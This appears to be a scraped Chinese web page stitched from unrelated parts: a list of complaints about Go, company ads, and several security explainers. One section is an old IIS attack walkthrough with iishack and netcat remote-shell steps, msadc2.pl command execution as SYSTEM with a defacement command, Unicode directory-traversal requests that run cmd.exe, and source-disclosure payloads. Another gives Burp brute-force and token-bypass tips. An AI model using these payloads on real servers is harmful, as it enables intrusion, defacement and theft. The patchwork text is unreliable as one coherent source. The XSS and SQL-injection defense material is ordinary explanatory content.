go语言常见的漏洞类型 go语言的缺陷

我为什么放弃Go语言

有好几次，当我想起来的时候，总是会问自己：我为什么要放弃Go语言？这个决定是正确的吗？是明智和理性的吗？其实我一直在认真思考这个问题。

成都一家集口碑和实力的网站建设服务商，拥有专业的企业建站团队和靠谱的建站技术，十载企业及个人网站建设经验 ,为成都近1000家客户提供网页设计制作,网站开发,企业网站制作建设等服务,包括成都营销型网站建设，品牌网站制作，同时也为不同行业的客户提供成都网站制作、网站设计、外贸网站建设的服务,包括成都电商型网站制作建设,装修行业网站制作建设，传统机械行业网站建设,传统农业行业网站制作建设。在成都做网站,选网站制作建设服务商就选创新互联。

开门见山地说，我当初放弃Go语言（golang），就是因为两个“不爽”：第一，对Go语言本身不爽；第二，对Go语言社区里的某些人不爽。毫无疑问，这是非常主观的结论。转载

1.1 不允许左花括号另起一行

1.2 编译器莫名其妙地给行尾加上分号

1.3 极度强调编译速度，不惜放弃本应提供的功能

1.4 错误处理机制太原始

1.5 垃圾回收器（GC）不完善、有重大缺陷

1.6 禁止未使用变量和多余import

1.7 创建对象的方式太多令人纠结

1.8 对象没有构造函数和析构函数

1.9 defer语句的语义设定不甚合理

1.10 许多语言内置设施不支持用户定义的类型

1.11 没有泛型支持，常见数据类型接口丑陋

1.12 实现接口不需要明确声明

1.13 省掉小括号却省不掉花括号

1.14 编译生成的可执行文件尺寸非常大

1.15 不支持动态加载类库

常见的网络漏洞有哪些

你说的漏洞比较广，是软件漏洞还是系统 系统漏洞还有server漏洞还有iis漏洞 我就和你说说iis漏洞吧。1. iis4hack缓冲溢出

主要存在于.htr,.idc和.stm文件中，其对关于这些文件的URL请求没有对名字进行充分的边界检查，导致运行攻击者插入一些后门程序 在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe，ncx.exe，你可以到下面 的站点去下载，另外你还需要一台自己的WEB服务器。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下，然后使用iishack.exe来检查目标机器：

c:iishack.exe victim 80 your web server/ncx.exe

然后你就使用netcat来连接你要检测的服务器：

c:nc victim 80

如果溢出点正确你就可以看到目标机器的命令行提示，并且是管理远权限。利用程序见iis4hack.zip

2.msadc

IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于RDS Datafactory，默认情况下， 它允许远程命令发送到IIS服务器中，这命令会以设备用户的身份运行，其一般默认情况下是SYSTEM用户。利用程序为msadc2.pl，我们看看它的help

[quack@chat quack]$ perl msadc2.pl -h

-- RDS smack v2 - rain forest puppy / ADM / wiretrip --

Usage: msadc.pl -h host { -d delay -X -v }

-h host = host you want to scan (ip or domain)

-d seconds = delay between calls, default 1 second

-X = dump Index Server path table, if available

-N = query VbBusObj for NetBIOS name

-V = use VbBusObj instead of ActiveDataFactory

-v = verbose

-e = external dictionary file for step 5

-u \hostsharefile = use UNC file

-w = Windows 95 instead of Windows NT

-c = v1 compatibility (three step query)

-s number = run only step number

Or a -R will resume a (v2) command session

[quack@chat quack]$ perl msadc2.pl -h

-- RDS smack v2 - rain forest puppy / ADM / wiretrip --

Type the command line you want to run (cmd /c assumed):

cmd /c

如果出现cmd /c后，直接键入命令行，就可以以system权限执行命令了。比如xundi教的：

echo hacked by me d:inetpubwwwrootvictimwebindex.htm

3.Codebrws.asp

察看文件源代码

4.Showcode.asp

察看文件源代码

5.Null.htw

察看文件源代码

;%20CiRestriction=none%20%20CiHiliteType=full

6.webhits.dll .htw

hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted（突出）他们原始搜索的条目，这个文档的名字通过变量CiWebhitsfile传递给.htw文件，Webhits.dll是一个ISAPI应用程序 来处理请求，打开文件并返回结果，当用户控制了CiWebhitsfile参数传递给.htw时，他们就可以请求任意文件，结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞，你可以请求如下条目：

如果你从服务器端获得如下信息：

format of the QUERY_STRING is invalid这就表示你存在这个漏洞 .这个问题主要就是webhits.dll关联了.htw文件的映射，所以你只要取消

这个映射就能避免这个漏洞，你可以在你认为有漏洞的系统中搜索.htw文件，一般会发现如下的程序：

/iissamples/issamples/oop/qfullhit.htw

/iissamples/issamples/oop/qsumrhit.htw

/isssamples/exair/search/qfullhit.htw

/isssamples/exair/search/qsumrhit.htw

/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)

一个攻击者可以使用如下的方法来访问系统中文件的内容：

?

ciwebhitsfile=/../../winnt/win.inicirestriction=nonecihilitetype=full

就会在有此漏洞系统中win.ini文件的内容。 7.ASP Alternate Data Streams(::$DATA) 要查看一些.asp文件的内容，你可以请求如下的URL： 你就得到了源代码

8.ASP Dot Bug

在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。

.

9.ISM.DLL

这个漏洞是由Cerberus Information Security team.最早发现的，它运行在IIS4.0和5.0上面，允许攻击者查看任意文件内容和源代码。通过在文件名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS，会使IIS认为客户端请求的是?.htr?文件，而.htr文件的后缀映射到ISM.DLL ISAPI应用程序，这样IIS就把这个.htr请求转交给这个DLL文件，然后ISM.DLL 程序把传递过来的文件打开和执行，但在ISM.DLL 截断信息之前,缓冲区发送 一个截断开的 .Htr 并会有一些时间去返回一些你要打开的文件内容. 除非 WEB 服务停止并重启过，否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL第一次装入内存时工作.CNNS发现追加+号到没有一次攻击这个问题，可以进行多次攻击。

(...=230)global.asa.htr

10. .idc .ida Bugs

这个漏洞实际上类似ASP dot 漏洞，其能在IIS4.0上显示其WEB目录信息，很奇怪的说有些还在IIS5.0上发现过此类漏洞，通过增加?idc?或者?ida? 后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC，如果此.idc不存在，它就返回一些信息给客户端。

或者 anything.idq

11.+.htr Bug

对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露：

12.NT Site Server Adsamples

通过请求site.csc，一般保存在/adsamples/config/site.csc中，攻击者 可能获得一些如数据库中的DSN，UID和PASS的一些信息，如：

13./iisadmpwd

IIS4.0中包含一个有趣的特征就是允许远程用户攻击WEB服务器上的用户帐号，就是你的WEB服务器是通过NAT来转换地址的，还可以被攻击。 每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd，这个目录包含多个 .htr文件，匿名用户允许访问这些文件，这些文件刚好没有规定只限制 在loopback addr(127.0.0.1)，请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下：

c:winntsystem32inetsrviisadmpwd

Achg.htr

Aexp.htr

Aexp2.htr

Aexp2b.htr

Aexp3.htr

Aexp4.htr

Aexp4b.htr

Anot.htr

Anot3.htr

这样，攻击者可以通过暴力来猜测你的密码。

14.Translate:f Bug

泄露asp文件源代码 存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中， 当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f 后缀，并在请求文件后面加/就会显示文件代码，当然在没有打WIN2K SP1补丁 为前提。这个是W2K的漏洞，但由于FP2000也安装在IIS4.0上，所以在IIS4.0上也有这个漏洞。利用程序: trasn1.pl,trans2.pl

15.Unicode

IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞，导致用户可以远程通过IIS执行任意命令。当IIS打开文件时，如果该文件名包含unicode字符，它会对其进行解码，如果用户提供一些特殊 的编码，将导致IIS错误的打开或者执行某些web根目录以外的文件。

可能需要察看以下几个目录

GET

/scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

HTTP/1.0rnrn

GET

/msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

HTTP/1.0rnrn

GET

/_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

HTTP/1.0rnrn

GET

/_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

HTTP/1.0rnrn

GET

/cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

HTTP/1.0rnrn

eeye开发了工具包iishack1.5针对这一漏洞进行测试

16.iis5.0 缓冲溢出

微软Win 2K IIS

5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系，缺省情况下该映射存在。当远程用户提交对.printer的URL请求时，IIS

5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查，远程用户可以提交一个精心构造的针对.printer的URL请求，其"Host:"域包含大约420字节的数据，此时在msw3prt.dll中发生典型的缓冲区溢出，潜在允许执行任意代码。溢出发生后，WEB服务停止响应，Win 2K可以检查到WEB服务停止响应，从而自动重启它，因此系统管理员很难意识到发生过攻击。利用程序见iis5hack.zip

17.IIS CGI文件名二次解码漏洞

IIS在加载可执行CGI程序时，会进行两次解码。第一次解码是对CGI文件名进行http解码，然后判断此文件名是否为可执行文件，例如检查后缀名是否为".exe"或".com"等等。在文件名检查通过之后，IIS会再进行第二次解码。正常情况下，应该只对该CGI的参数进行解码，然而，IIS错误地将已经解码过的CGI文件名和CGI参数一起进行解码。这样，CGI文件名就被错误地解码了两次。

通过精心构造CGI文件名，攻击者可以绕过IIS对文件名所作的安全检查，例如对"../"或"./"的检查，在某些条件下，攻击者可以执行任意系统命令。

例如，对于’’这个字符，正常编码后是%5c。这三个字符对应的编码为：

’%’ = %25

’5’ = %35

’c’ = %63

如果要对这三个字符再做一次编码，就可以有多种形式，例如：

%255c

%%35c

%%35%63

%25%35%63

...

因此，".."就可以表示成"..%255c"或"..%%35c"等等形式。在经过第一次解码之后，变成"..%5c"。IIS会认为这是一个正常的字符串，不会违反安全规则检查。而在第二次被解码之后，就会变成".."。因此攻击者就可以使用".."来进行目录遍历，执行web目录之外的任意程序。 好了 先到这里。。。。漏洞太多了不过还是微软系统排第一的 一个是使用的人群广 一个是XXX 哈哈哈

xss漏洞类型有哪些？

大家好，大家经常听到XSS攻击这个词，那么XSS攻击到底是什么，以及如何防御XSS攻击大家清楚么？今天，天下数据就给大家讲一下：XSS攻击的定义、类型以及防御方法。

什么是XSS攻击？

XSS攻击全称跨站脚本攻击，是一种在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

XSS攻击有哪几种类型？

常见的 XSS 攻击有三种：反射型XSS攻击、DOM-based 型XXS攻击以及存储型XSS攻击。

1.反射型XSS攻击

反射型 XSS 一般是攻击者通过特定手法（如电子邮件），诱使用户去访问一个包含恶意代码的 URL，当受害者点击这些专门设计的链接的时候，恶意代码会直接在受害者主机上的浏览器执行。反射型XSS通常出现在网站的搜索栏、用户登录口等地方，常用来窃取客户端 Cookies 或进行钓鱼欺骗。

2.存储型XSS攻击

也叫持久型XSS，主要将XSS代码提交存储在服务器端（数据库，内存，文件系统等），下次请求目标页面时不用再提交XSS代码。当目标用户访问该页面获取数据时，XSS代码会从服务器解析之后加载出来，返回到浏览器做正常的HTML和JS解析执行，XSS攻击就发生了。存储型 XSS 一般出现在网站留言、评论、博客日志等交互处，恶意脚本存储到客户端或者服务端的数据库中。

3.DOM-based 型XSS攻击

基于 DOM 的 XSS 攻击是指通过恶意脚本修改页面的 DOM 结构，是纯粹发生在客户端的攻击。DOM 型 XSS 攻击中，取出和执行恶意代码由浏览器端完成，属于前端 JavaScript 自身的安全漏洞。

如何防御XSS攻击？

1. 对输入内容的特定字符进行编码，例如表示 html标记的 等符号。

2. 对重要的 cookie设置 httpOnly, 防止客户端通过document.cookie读取 cookie，此 HTTP头由服务端设置。

3. 将不可信的值输出 URL参数之前，进行 URLEncode操作，而对于从 URL参数中获取值一定要进行格式检测（比如你需要的时URL，就判读是否满足URL格式）。

4. 不要使用 Eval来解析并运行不确定的数据或代码，对于 JSON解析请使用 JSON.parse() 方法。

5. 后端接口也应该要做到关键字符过滤的问题。

以上，是天下数据给大家分享的关于XSS攻击的全部内容，大家记得收藏方便以后查看哦。

如今，各种类型网络攻击日益频繁，除了XSS攻击之外，比较常见的网络攻击类型还包括DDoS攻击、CC攻击等，它们非常难以防御，除了需要做好日常网络安全防护之外，还需要接入高防服务，可以接入天下数据高防cdn，通过天下数据高防cdn隐藏源IP，对攻击流量进行清洗，保障企业网络及业务的正常运行。

逻辑漏洞有哪些

逻辑漏洞：

常见的逻辑漏洞：

交易支付，密码修改，密码找回，越权修改，越权查询，，突破限制等各种逻辑漏洞

不安全的对象引用指的是平行权限的访问控制缺失

A,B同为普通用户，他们之间彼此之间的个人资料应该相互保密的，

A的资料如果被B用户利用程序访问控制的缺失而已查看，这就是平行权限的关系。

功能级别访问控制缺失指的是垂直权限的访问控制缺失

A是普通用户，B是管理员，B的页面登录访问需要密码和token.

A账号能直接输入管理页面URL的方式绕过管理员登录限制查看管理员页面，这个时候A,B就是垂直关系。

逻辑漏洞的挖掘：

基本步骤:

1，先尝试正确操作流程，记录不同找回方式的所有数据包

2，分析数据包，找到有效数据部分

3，推测数据构造方法

4，构造数据包验证猜测

比如说，加入购物车，我是不是可以修改购买的数量，修改成负数，商品的价格是不是可以修改；

确认购物车信息时，是不是可以修改商品的数量为负数，是不是可以突破打折的限制；

输入运费，可不可以被修改；

确认订单后，能不能直接修改支付金额，可否不支付直接跳转到交易成功；

逻辑漏洞的利用：

用户凭证暴力破解：

四位或者六位的纯数字，无需验证码，直接burp爆破；

如果验证不是很验过，burp抓包，在后面手机号后面添加特殊字符绕过第一次防御

防御----只要尝试超过三次，就加入黑名单

返回凭证：

burp抓包的时候，url返回验证码及token，时间戳的md5，修改token为1或0，绕过凭证。

漏洞POC是什么意思？

day。。。没有发布补丁的漏洞1

day。。。发布补丁后，但因为补丁普及比较慢，仍然能够使用的漏洞overflow。。。溢出，最常见的漏洞类型poc。。。就是漏洞演示，别人用这东西编写出exploitexploit。。。就是漏洞利用，攻击用的

常见的漏洞类型有哪些

一、SQL 注入漏洞

SQL 注入攻击（ SQL Injection ），简称注入攻击、SQL 注入，被广泛用于非法获取网站控制权， 是发生在应用程序的数据库层上的安全漏洞。在设计程序，忽略了对输入字符串中夹带的SQL 指令的检查，被数据库误认为是正常的SQL 指令而运行，从而使数据库受到攻击，可能导致数据被窃取、更改、删除，以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。

通常情况下， SQL 注入的位置包括：

（1）表单提交，主要是POST 请求，也包括GET 请求；

（2）URL 参数提交，主要为GET 请求参数；

（3）Cookie 参数提交；

（4）HTTP 请求头部的一些可修改的值，比如Referer 、User_Agent 等；

（5）一些边缘的输入点，比如.mp3 文件的一些文件信息等。

SQL 注入的危害不仅体现在数据库层面上， 还有可能危及承载数据库的操作系统；如果SQL 注入被用来挂马，还可能用来传播恶意软件等，这些危害包括但不局限于：

（1）数据库信息泄漏：数据库中存放的用户的隐私信息的泄露。作为数据的存储中心，数据库里往往保存着各类的隐私信息， SQL 注入攻击能导致这些隐私信息透明于攻击者。

（2）网页篡改：通过操作数据库对特定网页进行篡改。

（3）网站被挂马，传播恶意软件：修改数据库一些字段的值，嵌入网马链接，进行挂马攻击。

（4）数据库被恶意操作：数据库服务器被攻击，数据库的系统管理员帐户被篡改。

（5）服务器被远程控制，被安装后门。经由数据库服务器提供的操作系统支持，让黑客得以修改或控制操作系统。

（6）破坏硬盘数据，瘫痪全系统。

解决SQL 注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常使用的方案有：

（1 ）所有的查询语句都使用数据库提供的参数化查询接口，参数化的语句使用参数而不是将用户输入变量嵌入到SQL 语句中。当前几乎所有的数据库系统都提供了参数化SQL 语句执行接口，使用此接口可以非常有效的防止SQL 注入攻击。

（2 ）对进入数据库的特殊字符（ '"\*; 等）进行转义处理，或编码转换。

（3 ）确认每种数据的类型，比如数字型的数据就必须是数字，数据库中的存储字段必须对应为int 型。

（4）数据长度应该严格规定，能在一定程度上防止比较长的SQL 注入语句无法正确执行。

（5）网站每个数据层的编码统一，建议全部使用UTF-8 编码，上下层编码不一致有可能导致一些过滤模型被绕过。

（6）严格限制网站用户的数据库的操作权限，给此用户提供仅仅能够满足其工作的权限，从而最大限度的减少注入攻击对数据库的危害。

（7）避免网站显示SQL 错误信息，比如类型错误、字段不匹配等，防止攻击者利用这些错误信息进行一些判断。

（8）在网站发布之前建议使用一些专业的SQL 注入检测工具进行检测，及时修补这些SQL 注入漏洞。

二、跨站脚本漏洞

跨站脚本攻击（ Cross-site scripting ，通常简称为XSS）发生在客户端，可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。XSS 攻击使用到的技术主要为HTML 和Javascript ，也包括VBScript和ActionScript 等。XSS 攻击对WEB 服务器虽无直接危害，但是它借助网站进行传播，使网站的使用用户受到攻击，导致网站用户帐号被窃取，从而对网站也产生了较严重的危害。

XSS 类型包括：

（1）非持久型跨站： 即反射型跨站脚本漏洞， 是目前最普遍的跨站类型。跨站代码一般存在于链接中，请求这样的链接时，跨站代码经过服务端反射回来，这类跨站的代码不存储到服务端（比如数据库中）。上面章节所举的例子就是这类情况。

（2）持久型跨站：这是危害最直接的跨站类型，跨站代码存储于服务端（比如数据库中）。常见情况是某用户在论坛发贴，如果论坛没有过滤用户输入的Javascript 代码数据，就会导致其他浏览此贴的用户的浏览器会执行发贴人所嵌入的Javascript 代码。

（3）DOM 跨站（DOM XSS ）：是一种发生在客户端DOM （Document Object Model 文档对象模型）中的跨站漏洞，很大原因是因为客户端脚本处理逻辑导致的安全问题。

XSS 的危害包括：

（1）钓鱼欺骗：最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站，或者注入钓鱼JavaScript 以监控目标网站的表单输入，甚至发起基于DHTML 更高级的钓鱼攻击方式。

（2 ）网站挂马：跨站时利用IFrame 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上，或者弹出恶意网站窗口等方式都可以进行挂马攻击。

（3）身份盗用： Cookie 是用户对于特定网站的身份验证标志， XSS 可以盗取到用户的Cookie ，从而利用该Cookie 盗取用户对该网站的操作权限。如果一个网站管理员用户Cookie 被窃取，将会对网站引发巨大的危害。

（4）盗取网站用户信息：当能够窃取到用户Cookie 从而获取到用户身份使，攻击者可以获取到用户对网站的操作权限，从而查看用户隐私信息。

（5）垃圾信息发送：比如在SNS 社区中，利用XSS 漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。

（6）劫持用户Web 行为：一些高级的XSS 攻击甚至可以劫持用户的Web 行为，监视用户的浏览历史，发送与接收的数据等等。

（7）XSS 蠕虫：XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施DDoS 攻击等。

常用的防止XSS 技术包括：

（1）与SQL 注入防护的建议一样，假定所有输入都是可疑的，必须对所有输入中的script 、iframe 等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口，也包括HTTP 请求中的Cookie 中的变量， HTTP 请求头部中的变量等。

（2 ）不仅要验证数据的类型，还要验证其格式、长度、范围和内容。

（3）不要仅仅在客户端做数据的验证与过滤，关键的过滤步骤在服务端进行。

（ 4）对输出的数据也要检查， 数据库里的值有可能会在一个大网站的多处都有输出，即使在输入做了编码等操作，在各处的输出点时也要进行安全检查。

（5）在发布应用程序之前测试所有已知的威胁。

三、弱口令漏洞

弱口令(weak password) 没有严格和准确的定义，通常认为容易被别人（他们有可能对你很了解）猜测到或被破解工具破解的口令均为弱口令。设置密码通常遵循以下原则：

（1）不使用空口令或系统缺省的口令，这些口令众所周之，为典型的弱口令。

（2）口令长度不小于8 个字符。

（3）口令不应该为连续的某个字符（例如： AAAAAAAA ）或重复某些字符的组合（例如： tzf.tzf. ）。

（4）口令应该为以下四类字符的组合，大写字母(A-Z) 、小写字母(a-z) 、数字(0-9) 和特殊字符。每类字符至少包含一个。如果某类字符只包含一个，那么该字符不应为首字符或尾字符。

（5）口令中不应包含本人、父母、子女和配偶的姓名和出生日期、纪念日期、登录名、E-mail 地址等等与本人有关的信息，以及字典中的单词。

（6）口令不应该为用数字或符号代替某些字母的单词。

（7）口令应该易记且可以快速输入，防止他人从你身后很容易看到你的输入。

（8）至少90 天内更换一次口令，防止未被发现的入侵者继续使用该口令。

四、HTTP 报头追踪漏洞

HTTP/1.1 （RFC2616 ）规范定义了HTTP TRACE 方法，主要是用于客户端通过向Web 服务器提交TRACE 请求来进行测试或获得诊断信息。当Web 服务器启用TRACE 时，提交的请求头会在服务器响应的内容（Body ）中完整的返回，其中HTTP 头很可能包括Session Token 、Cookies 或其它认证信息。攻击者可以利用此漏洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击，由于HTTP TRACE 请求可以通过客户浏览器脚本发起（如XMLHttpRequest ），并可以通过DOM 接口来访问，因此很容易被攻击者利用。防御HTTP 报头追踪漏洞的方法通常禁用HTTP TRACE 方法。

五、Struts2 远程命令执行漏洞

Apache Struts 是一款建立Java web 应用程序的开放源代码架构。Apache Struts 存在一个输入过滤错误，如果遇到转换错误可被利用注入和执行任意Java 代码。网站存在远程代码执行漏洞的大部分原因是由于网站采用了Apache Struts Xwork 作为网站应用框架，由于该软件存在远程代码执高危漏洞，导致网站面临安全风险。CNVD 处置过诸多此类漏洞，例如：“ GPS 车载卫星定位系统”网站存在远程命令执行漏洞(CNVD-2012-13934) ；Aspcms 留言本远程代码执行漏洞（ CNVD-2012-11590 ）等。

修复此类漏洞，只需到Apache 官网升级Apache Struts 到最新版本

六、框架钓鱼漏洞（框架注入漏洞）

框架注入攻击是针对Internet Explorer 5 、Internet Explorer 6 、与Internet Explorer 7 攻击的一种。这种攻击导致Internet Explorer 不检查结果框架的目的网站，因而允许任意代码像Javascript 或者VBScript 跨框架存取。这种攻击也发生在代码透过多框架注入，肇因于脚本并不确认来自多框架的输入。这种其他形式的框架注入会影响所有的不确认不受信任输入的各厂商浏览器和脚本。如果应用程序不要求不同的框架互相通信，就可以通过完全删除框架名称、使用匿名框架防止框架注入。但是，因为应用程序通常都要求框架之间相互通信，因此这种方法并不可行。因此，通常使用命名框架，但在每个会话中使用不同的框架，并且使用无法预测的名称。一种可行的方法是在每个基本的框架名称后附加用户的会话令牌，如main_display 。

七、文件上传漏洞

文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的，如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型，攻击者可通过Web 访问的目录上传任意文件，包括网站后门文件（ webshell ），进而远程控制网站服务器。因此，在开发网站及应用程序过程中，需严格限制和校验上传的文件，禁止上传恶意代码的文件。同时限制相关目录的执行权限，防范webshell 攻击。

八、应用程序测试脚本泄露

由于测试脚本对提交的参数数据缺少充分过滤，远程攻击者可以利用洞以WEB 进程权限在系统上查看任意文件内容。防御此类漏洞通常需严格过滤提交的数据，有效检测攻击。

九、私有IP 地址泄露漏洞

IP 地址是网络用户的重要标示，是攻击者进行攻击前需要了解的。获取的方法较多，攻击者也会因不同的网络情况采取不同的方法，如：在局域网内使用Ping 指令， Ping 对方在网络中的名称而获得IP；在Internet 上使用IP 版的QQ直接显示。最有效的办法是截获并分析对方的网络数据包。攻击者可以找到并直接通过软件解析截获后的数据包的IP 包头信息，再根据这些信息了解具体的IP。针对最有效的“数据包分析方法”而言，就可以安装能够自动去掉发送数据包包头IP 信息的一些软件。不过使用这些软件有些缺点， 譬如：耗费资源严重，降低计算机性能；访问一些论坛或者网站时会受影响；不适合网吧用户使用等等。现在的个人用户采用最普及隐藏IP 的方法应该是使用代理，由于使用代理服务器后，“转址服务”会对发送出去的数据包有所修改，致使“数据包分析”的方法失效。一些容易泄漏用户IP 的网络软件(QQ 、MSN 、IE 等)都支持使用代理方式连接Internet ，特别是QQ 使用“ ezProxy ”等代理软件连接后， IP 版的QQ 都无法显示该IP 地址。虽然代理可以有效地隐藏用户IP，但攻击者亦可以绕过代理， 查找到对方的真实IP 地址，用户在何种情况下使用何种方法隐藏IP，也要因情况而论。

十、未加密登录请求

由于Web 配置不安全， 登陆请求把诸如用户名和密码等敏感字段未加密进行传输， 攻击者可以窃听网络以劫获这些敏感信息。建议进行例如SSH 等的加密后再传输。

十一、敏感信息泄露漏洞

SQL 注入、XSS、目录遍历、弱口令等均可导致敏感信息泄露，攻击者可以通过漏洞获得敏感信息。针对不同成因，防御方式不同。